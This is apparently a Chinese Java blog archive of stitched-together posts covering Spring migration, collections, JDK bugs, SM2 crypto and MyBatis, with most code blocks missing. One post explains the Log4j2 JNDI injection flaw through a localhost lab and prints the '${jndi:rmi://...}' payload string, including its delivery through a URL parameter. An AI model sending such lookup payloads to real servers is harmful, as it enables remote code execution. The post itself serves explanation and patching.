把系统从Struts2 迁移到 Spring MVC六大步总结

基于struts的系统迁移到SpringMVC架构上来,共分六部曲,让系统一部一部迁移过来,本文讲的知识点以Struts2 to Spring4,但是针对其他应用场景也是可以参考的。

Step 1: 替换基本的框架库。

Firstly while migrating from struts to spring we have to replace our struts related libraries with spring libraries in lib folder.

I have mentioned basic libraries of both struts and spring for your clarification.

Struts basic libraries :
  1. struts.jar
  2. struts-legacy.jar
  3. etc.. 

Have you ever use :   Javadoc comment in Java

Spring basic libraries :

  1. standard.jar
  2. org.springframework.asm-4.0.1.RELEASE-A.jar
  3. org.springframework.beans-4.0.1.RELEASE-A.jar
  4. org.springframework.context-4.0.1.RELEASE-A.jar
  5. org.springframework.core-4.0.1.RELEASE-A.jar
  6. org.springframework.expression-4.0.1.RELEASE-A.jar
  7. org.springframework.web.servlet-4.0.1.RELEASE-A.jar
  8. org.springframework.web-4.0.1.RELEASE-A.jar
  9. etc..

Step 2: 修改web.xml配置文件

In this step we have to remove Action filter dispatcher for the web.xml and add Spring dipatcher servlet as Front controller
Work on new technology  :  Create and manage cloud applications using Java

In Strut application web.xml look like as follows

In Spring application web.xml look like as follows

Step 3: 替换Struts本身的配置文件

Now replace all struts configuration files to spring configuration file as follows

In Struts applivation struts configuration file-

In Spring application spring configuration file as follows

Here, <context:component-scan> tag is used, so that spring will load all the components from given package i.e. " com.geekonjavaonjava.spring.login.controller".

Use this in Struts2 : Get value of struts property tag into jsp variable

We can use different view resolver, here I have used InternalResourceViewResolver. In which prefix and suffix are used to resolve the view by prefixing and suffixing values to the object returned by ModelAndView in action class.

Step 4: 修改JSP文件

While migration an application from struts to spring we need to change in jsp file as following

Firstly replace all tlds-

Replace these with following spring taglib's :

In Struts :

In Spring :

Here commandName is going to map with corresponding formbean for that jsp. Next we will see, how action is getting called with spring 4 annotations.

Step 5: 修改Action 类文件

Now following changes need to be done in action classes for struts to spring migration using annotations-

Struts Action:

Spring action

Step 6: 修改前端验证机制

In struts JSP file validation changes as follows

In Spring JSP file as follows-

参考链接


性能有坑 | 慎用 Java 8 ConcurrentHashMap 的 computeIfAbsent

前言

我们先看一段代码,代码中使用 Map 的时候,有可能会这么写:

Java 8 的 java.util.Map 里面有个方法 computeIfAbsent,能够简化以上代码:

以上这种写法除了简洁,如果使用的是 java.util.concurrent.ConcurrentHashMap,还能够在并发调用的情况下确保 calculateValue 方法不会被重复调用,保证原子性。

不过,前段时间对 Apache ShardingSphere-Proxy 做压测时遇到一个问题,当 BenchmarkSQL 连接 ShardingSphere Proxy 的 Terminal 数量比较高时,其中一条很简单的插入 SQL 执行延迟增加了很多。借助 Async Profiler 发现 Java 8 ConcurrentHashMap 的 computeIfAbsent 在性能上有坑。

不了解 Apache ShardingSphere 的读者可以参考 https://github.com/apache/shardingsphere

继续阅读性能有坑 | 慎用 Java 8 ConcurrentHashMap 的 computeIfAbsent

如何让Android Studio/IntelliJ IDEA不对自定义的NULL检查方法发出警告

在平时的开发过程中,我们一般会自定义函数对变量是否为 null 进行检查,当检查函数返回成功的时候,对象一定不是 null

但是,这个自定义的函数,对于 Android Studio/IntelliJ IDEA 来说,是无法感知到的,导致 Android Studio/IntelliJ IDEA 会发出警告,没有对变量是否为 null 进行检查。

出现上述问题的例子如下:

那么,有没有办法告知 Android Studio/IntelliJ IDEA ,我们已经对 null 进行过检查了呢?

网上搜索许久,尝试过 @CheckForNull / @EnsuresNonNullIf 注解,都不能解决问题。

最终发现使用 jetbrains@Contract 注解能解决此问题。

上述的例子增加以下注解,明确告知编译器,如果参数是 null 函数一定返回 false,就可以阻止编译器发出警告了。

如下:

参考链接


Collections.singletonList/Collections.emptyList/Collections.emptyMap

最近在研究 Flutter pigeon 例子 的时候,发现如下实例代码:

对其中的 Collections.singletonList(result) 比较感兴趣,研究了一下,发现还是比较有意义的。

Collections.singletonList()

这个方法主要用于只有一个元素的优化,减少内存分配,无需分配额外的内存,可以从SingletonList内部类看得出来,由于只有一个element,因此可以做到内存分配最小化,相比之下ArrayListDEFAULT_CAPACITY=10个。

下面是SingletonList静态类的定义

上面的源码中可以看到,静态类中并没有重新add、delete、set等方法。所以通过Collections.singletonList初始化的List是不能执行上述方法的。

Collections.emptyList()

Collections.emptyList在日常开发中也比较常用,如果一个方法需要返回一个空List,并且后续不用再新增元素进去,我们完全可以直接返回Collections.emptyList()而不是new ArrayList;这样不用每次都去创建一个新对象。

EMPTY_LIST如下

Collections中其他类似方法

参考链接


理解Intellj IDEA/Android Studio警告'Optional' used as type for parameter

在函数的形参中使用 Optional 类型的参数的时候,编译的时候会被 Intellj IDEA/Android Studio 发出警告,代码如下:

警告信息如下:

对于这个警告,初期是非常迷惑的,不清楚为什么 Optional 类型不能作为函数的形参。后来搜索了一下网络,加上自己理解,才豁然开朗。

其实 Optional 类型产生的本身是为了避免空指针异常而引入的,如果在函数的形参中使用 Optional 类型,那么如果传入的 Optional 类型的参数本身就是 null 的话,就会在使用 Optional 参数的时候抛出空指针异常了。因此干脆就希望不要在函数的行参中使用 Optional 类型。

通过测试,Intellj IDEA/Android Studio 对于函数返回值,是不发出这个警告的。

接口的话,可以使用类似下面的写法来规避这个警告:

虽然可以通过 @SuppressWarnings("OptionalUsedAsFieldOrParameterType") 来禁止这个警告的发出,但是还是建议遵守这个警告,尽量不要在函数的形参中使用 Optional 类型。

参考链接


Log4j史诗级漏洞,从原理到实战,只用3个实例就搞明白!

背景

最近互联网技术圈最火的一件事莫过于Log4j2的漏洞了。同时也涌现出了各类分析文章,关于漏洞的版本、漏洞的原因、漏洞的修复、程序员因此加班等等。

经常看我文章的朋友都知道,面对这样热门有意思的技术点,怎能错过深入分析一波呢?大概你也已经听说了,造成漏洞的”罪魁祸首“是JNDI,今天我们就聊它。

JNDI,好熟悉,但……熟悉的陌生人?JNDI到底是个什么鬼?好吧,如果你已经有一两年的编程经验,但还不了解JNDI,甚至没听说过。那么,要么赶紧换工作,要么赶紧读读这篇文章。

JNDI是个什么鬼?

说起JNDI,从事Java EE编程的人应该都在用着,但知不知道自己在用,那就看你对技术的钻研深度了。这次Log4j2曝出漏洞,不正说明大量项目或直接或间接的在用着JNDI。来看看JNDI到底是个什么鬼吧?

先来看看Sun官方的解释:

Java命名和目录接口(Java Naming and Directory Interface ,JNDI)是用于从Java应用程序中访问名称和目录服务的一组API。命名服务即将名称与对象相关联,以便能通过相应名称访问这些对象。而目录服务即其对象具有属性及名称的命名服务。

命名或目录服务允许你集中管理共享信息的存储,这在网络应用程序中很重要,因为它可以使这类应用程序更加一致和易于管理。例如,可以将打印机配置存储在目录服务中,这样所有与打印机相关的应用程序都能够使用它。

概念是不是很抽象,读了好几遍都没懂?一图胜千言:

naming_service
naming_service

看着怎么有点注册中心的意思?是的,如果你使用过Nacos或读过Nacos的源码,Naming Service这个概念一定很熟悉。在JNDI中,虽然实现方式不同、应用场景不同,但并不影响你通过类比注册中心的方式来理解JNDI。

如果你说没用过Nacos,那好,Map总用过吧。忽略掉JNDI与Map底层实现的区别,JNDI提供了一个类似Map的绑定功能,然后又提供了基于lookup或search之类的方法来根据名称查找Object,好比Map的get方法。

总之,JNDI就是一个规范,规范就需要对应的API(也就是一些Java类)来实现。通过这组API,可以将Object(对象)和一个名称进行关联,同时提供了基于名称查找Object的途径。

最后,对于JNDI,SUN公司只是提供了一个接口规范,具体由对应的服务器来实现。比如,Tomcat有Tomcat的实现方式,JBoss有JBoss的实现方式,遵守规范就好。

命名服务与目录服务的区别

命名服务就是上面提到的,类似Map的绑定与查找功能。比如:在Internet中的域名服务(domain naming service,DNS),就是提供将域名映射到IP地址的命名服务,在浏览器中输入域名,通过DNS找到相应的IP地址,然后访问网站。

目录服务是对命名服务的扩展,是一种特殊的命名服务,提供了属性与对象的关联和查找。一个目录服务通常拥有一个命名服务(但是一个命名服务不必具有一个目录服务)。比如电话簿就是一个典型的目录服务,一般先在电话簿里找到相关的人名,再找到这个人的电话号码。

目录服务允许属性(比如用户的电子邮件地址)与对象相关联(而命名服务则不然)。这样,使用目录服务时,可以基于对象的属性来搜索它们。

JNDI架构分层

JNDI通常分为三层:

  • JNDI API:用于与Java应用程序与其通信,这一层把应用程序和实际的数据源隔离开来。因此无论应用程序是访问LDAP、RMI、DNS还是其他的目录服务,跟这一层都没有关系。
  • Naming Manager:也就是我们提到的命名服务;
  • JNDI SPI(Server Provider Interface):用于具体到实现的方法上。

整体架构分层如下图:

JNDI架构
JNDI架构

需要注意的是:JNDI同时提供了应用程序编程接口(Application Programming Interface ,API)和服务提供程序接口(Service Provider Interface ,SPI)。

这样做对于与命名或目录服务交互的应用程序来说,必须存在一个用于该服务的JNDI服务提供程序,这便是JNDI SPI发挥作用的舞台。

一个服务提供程序基本上就是一组类,对特定的命名和目录服务实现了各种JNDI接口——这与JDBC驱动程序针对特定的数据系统实现各种JDBC接口极为相似。作为开发人员,不需要担心JNDI SPI。只需确保为每个要使用的命名或目录服务提供了一个服务提供程序即可。

JNDI的应用

下面再了解一下JNDI容器的概念及应用场景。

JNDI容器环境

JNDI中的命名(Naming),就是将Java对象以某个名称的形式绑定(binding)到一个容器环境(Context)中。当使用时,调用容器环境(Context)的查找(lookup)方法找出某个名称所绑定的Java对象。

容器环境(Context)本身也是一个Java对象,它也可以通过一个名称绑定到另一个容器环境(Context)中。将一个Context对象绑定到另外一个Context对象中,这就形成了一种父子级联关系,多个Context对象最终可以级联成一种树状结构,树中的每个Context对象中都可以绑定若干个Java对象。

jndi-context-tree
jndi-context-tree

JNDI 应用

JNDI的基本使用操作就是:先创建一个对象,然后放到容器环境中,使用的时候再拿出来。

此时,你是否疑惑,干嘛这么费劲呢?换句话说,这么费劲能带来什么好处呢?

在真实应用中,通常是由系统程序或框架程序先将资源对象绑定到JNDI环境中,后续在该系统或框架中运行的模块程序就可以从JNDI环境中查找这些资源对象了。

关于JDNI与我们实践相结合的一个例子是JDBC的使用。在没有基于JNDI实现时,连接一个数据库通常需要:加载数据库驱动程序、连接数据库、操作数据库、关闭数据库等步骤。而不同的数据库在对上述步骤的实现又有所不同,参数也可能发生变化。

如果把这些问题交由J2EE容器来配置和管理,程序就只需对这些配置和管理进行引用就可以了。

以Tomcat服务器为例,在启动时可以创建一个连接到某种数据库系统的数据源(DataSource)对象,并将该数据源(DataSource)对象绑定到JNDI环境中,以后在这个Tomcat服务器中运行的Servlet和JSP程序就可以从JNDI环境中查询出这个数据源(DataSource)对象进行使用,而不用关心数据源(DataSource)对象是如何创建出来的。

JNDI-Tree
JNDI-Tree

这种方式极大地增强了系统的可维护性,即便当数据库系统的连接参数发生变更时,也与应用程序开发人员无关。JNDI将一些关键信息放到内存中,可以提高访问效率;通过 JNDI可以达到解耦的目的,让系统更具可维护性和可扩展性。

JNDI实战

有了以上的概念和基础知识,现在可以开始实战了。

在架构图中,JNDI的实现层中包含了多种实现方式,这里就基于其中的RMI实现来写个实例体验一把。

基于RMI的实现

RMI是Java中的远程方法调用,基于Java的序列化和反序列化传递数据。

可以通过如下代码来搭建一个RMI服务:

上述代码先定义了一个RmiService的接口,该接口实现了Remote,并对RmiService接口进行了实现。在实现的过程中继承了UnicastRemoteObject的具体服务实现类。

最后,在RmiServer中通过Registry监听1099端口,并将RmiService接口的实现类进行了绑定。

下面构建客户端访问:

其中,提供了两个参数Context.INITIAL_CONTEXT_FACTORY、Context.PROVIDER_URL,分别表示Context初始化的工厂方法和提供服务的url。

执行上述程序,就可以获得远程端的对象并调用,这样就实现了RMI的通信。当然,这里Server和Client在同一台机器,就用了”localhost“的,如果是远程服务器,则替换成对应的IP即可。

构建攻击

常规来说,如果要构建攻击,只需伪造一个服务器端,返回恶意的序列化Payload,客户端接收之后触发反序列化。但实际上对返回的类型是有一定的限制的。

在JNDI中,有一个更好利用的方式,涉及到命名引用的概念javax.naming.Reference。

如果一些本地实例类过大,可以选择一个远程引用,通过远程调用的方式,引用远程的类。这也就是JNDI利用Payload还会涉及HTTP服务的原因。

RMI服务只会返回一个命名引用,告诉JNDI应用该如何去寻找这个类,然后应用则会去HTTP服务下找到对应类的class文件并加载。此时,只要将恶意代码写入static方法中,则会在类加载时被执行。

基本流程如下:

RMI攻击流程
RMI攻击流程

修改RmiServer的代码实现:

由于采用的Java版本较高,需先将系统变量com.sun.jndi.rmi.object.trustURLCodebase设置为true。

其中绑定的Reference涉及三个变量:

  • className:远程加载时所使用的类名,如果本地找不到这个类名,就去远程加载;
  • classFactory:远程的工厂类;
  • classFactoryLocation:工厂类加载的地址,可以是file://、ftp://、http:// 等协议;

此时,通过Python启动一个简单的HTTP监听服务:

打印日志,说明在8000端口进行了http的监听。

对应的客户端代码修改为如下:

执行,客户端代码,发现Python监听的服务打印如下:

可见,客户端已经去远程加载恶意class(Calc.class)文件了,只不过Python服务并没有返回对应的结果而已。

进一步改造

上述代码证明了可以通过RMI的形式进行攻击,下面基于上述代码和Spring Boot Web服务的形式进一步演示。通过JNDI注入+RMI的形式调用起本地的计算器。

上述的基础代码不变,后续只微调RmiServer和RmiClient类,同时添加一些新的类和方法。

第一步:构建攻击类

创建一个攻击类BugFinder,用于启动本地的计算器:

本人是Mac操作系统,代码中就基于Mac的命令实现方式,通过Java命令调用Calculator.app。同时,当该类被初始化时,会执行启动计算器的命令。

将上述代码进行编译,存放在一个位置,这里单独copy出来放在了”/Users/zzs/temp/BugFinder.class“路径,以备后用,这就是攻击的恶意代码了。

第二步:构建Web服务器

Web服务用于RMI调用时返回攻击类文件。这里采用Spring Boot项目,核心实现代码如下:

在该Web服务中,会读取BugFinder.class文件,并返回给RMI服务。重点提供了一个Web服务,能够返回一个可执行的class文件。

第三步:修改RmiServer

对RmiServer的绑定做一个修改:

这里Reference传入的参数就是攻击类及远程下载的Web地址。

第四步:执行客户端代码

执行客户端代码进行访问:

本地计算器被打开:

RMI Client
RMI Client

基于Log4j2的攻击

上面演示了基本的攻击模式,基于上述模式,我们再来看看Log4j2的漏洞攻击。

在Spring Boot项目中引入了log4j2的受影响版本:

这里需要注意,先排除掉Spring Boot默认的日志,否则可能无法复现Bug。

修改一下RMI的Server代码:

这里直接访问BugFinder,JNDI绑定名称为:hello。

客户端引入Log4j2的API,然后记录日志:

日志中记录的信息为“${jndi:rmi://127.0.0.1:1099/hello}”,也就是RMI Server的地址和绑定的名称。

执行程序,发现计算器被成功打开。

当然,在实际应用中,logger.error中记录的日志信息,可能是通过参数获得,比如在Spring Boot中定义如下代码:

在浏览器中请求URL为:

其中username参数的值就是“${jndi:rmi://127.0.0.1:1099/hello}”经过URLEncoder#encode编码之后的值。此时,访问该URL地址,同样可以将打开计算器。

至于Log4j2内部逻辑漏洞触发JNDI调用的部分就不再展开了,感兴趣的朋友在上述实例上进行debug即可看到完整的调用链路。

小结

本篇文章通过对Log4j2漏洞的分析,不仅带大家了解了JNDI的基础知识,而且完美重现了一次基于JNDI的工具。本文涉及到的代码都是本人亲自实验过的,强烈建议大家也跑一遍代码,真切感受一下如何实现攻击逻辑。

JNDI注入事件不仅在Log4j2中发生过,而且在大量其他框架中也有出现。虽然JDNI为我们带来了便利,但同时也带了风险。不过在实例中大家也看到在JDK的高版本中,不进行特殊设置(com.sun.jndi.rmi.object.trustURLCodebase设置为true),还是无法触发漏洞的。这样也多少让人放心一些。

另外,如果你的系统中真的出现此漏洞,强烈建议马上修复。在此漏洞未被报道之前,可能只有少数人知道。一旦众人皆知,跃跃欲试的人就多了,赶紧防护起来吧。

参考链接


Jdk 6260652 Bug

最近在看JDK的源码:CopyOnWriteArrayList.javaArrayList.java,这2个类的构造函数,注释中有一句话看不懂。

上网查了一下资料,才知道see 6260652 这个编号代表JDK bug库中的编号。可以去官网查看bug详情

http://bugs.java.com/bugdatabase/view_bug.do?bug_id=6260652

http://bugs.java.com/bugdatabase/view_bug.do?bug_id=6515694

6260652 和6515694这2个bug,貌似是同一个问题。这个bug是什么意思呢?我们先来看看一些测试代码: 

 1、关于test1()

        SubClass 继承自BaseClass,由于SubClass数组中每一个元素都是SubClass对象,所以

这种强制类型转换不会报错。这其实就是java对象的向上转型,子类数组转换成父类数组是允许的。但是由于数组中元素类型都是SubClass类型的,所以

会报错

这也就是说假如我们有1个Object[]数组,并不代表着我们可以将Object对象存进去,这取决于数组中元素实际的类型。

2、关于test2()

需要注意,可以知道返回的实际类型是

而不是

我们调用

返回是String[]数组,所以我们不能将Object对象,放到objArray数组中。

3、关于test3()

ArrayList对象的toArray()返回就是Object[]数组,所以我们可以将任意对象存放到返回的Object[]数组中。

通过test2和test3可以看出,如果我们有1个

对象,当我么调用

的时候,objectArray 并不一定能够放置Object对象。这就是源码中的注释:

为了考虑这种情况,所以源码中进行了if判断,来防止错误的数组对象导致异常。

这个方法就是用来创建1个Object[]数组,这样数组中就可以存放任意对象了。

参考链接


Jdk 6260652 Bug

SM2的非对称加解密Java工具类(bcprov-jdk15on/bcprov-jdk16)

bcprov-jdk15on实现例子

Maven依赖:

Java实现如下:

bcprov-jdk16实现例子

注意

  • 根据国密推荐的SM2椭圆曲线公钥密码算法,首先产生随机数计算出曲线点C1,2个32byte的BIGNUM大数,即为SM2加密结果的第1部分(C1)。第2部分则是真正的密文,是对明文的加密结果,长度和明文一样(C2)。第3部分是杂凑值,用来效验数据(C3)。按国密推荐的256位椭圆曲线,明文加密结果比原长度会大97byte(C1使用EC_POINT_point2oct转换)。

我们可以利用 密文,长度和明文一样(C2)这个原理,来跟踪现实中的调试问题,我们在没办法解密用户输入数据的内容的情况下,可以知道用户输入内容的长度,也能辅助我们解决很多调试问题。

上述的代码还可参考 Java—bouncycastle支持国密SM2的公钥加密算法

参考链接


synchronized全局锁和实例锁的区别

实例锁 -- 锁在某一个实例对象上。如果该类是单例,那么该锁也具有全局锁的概念。
               实例锁对应的就是synchronized关键字。
全局锁 -- 该锁针对的是类,无论实例多少个对象,那么线程都共享该锁。
               全局锁对应的就是static synchronized(或者是锁在该类的class或者classloader对象上)。

关于“实例锁”和“全局锁”有一个很形象的例子:

假设,Something有两个实例xy。分析下面4组表达式获取的锁的情况。
(01) x.isSyncA()与x.isSyncB() 
(02) x.isSyncA()与y.isSyncA()
(03) x.cSyncA()与y.cSyncB()
(04) x.isSyncA()与Something.cSyncA()

(01) 不能被同时访问。因为isSyncA()isSyncB()都是访问同一个对象(对象x)的同步锁!

(02) 可以同时被访问。因为访问的不是同一个对象的同步锁,x.isSyncA()访问的是x的同步锁,而y.isSyncA()访问的是y的同步锁。

(03) 不能被同时访问。因为cSyncA()cSyncB()都是static类型,x.cSyncA()相当于Something.isSyncA()y.cSyncB()相当于Something.isSyncB(),因此它们共用一个同步锁,不能被同时反问。

(04) 可以被同时访问。因为isSyncA()是实例方法,x.isSyncA()使用的是对象x的锁;而cSyncA()是静态方法,Something.cSyncA()可以理解对使用的是“类的锁”。因此,它们是可以被同时访问的。

参考链接


mybaties连接sqlite,并读取blob类型数据时,报错 java.sql.SQLFeatureNotSupportedException

错误,或者如下错误:

场景:
具体需求,要求像springboot连接mysql或者pgsql数据库一样,在application配置文件中配置sqlite数据库信息,并实现对blob类型数据(我们的库中有该类型的数据)的读写,按照平常一样写好controller、service、dao、mapper.xml后,执行查询操作后报错

原因分析:
sqlite的driver中,JDBC4ResultSet没有实现以下接口:

而是直接抛出了异常。
解决方法:
mapper.xml中该字段的设置:

即blob字段加个typeHandler属性。
然后自定义一个BlobTypeHandler处理类:

注意:实体类中blob字段类型是byte[]。

参考链接


mybaties连接sqlite,并读取blob类型数据时,报 java.sql.SQLException: not implemented by SQLite JDBC driver错误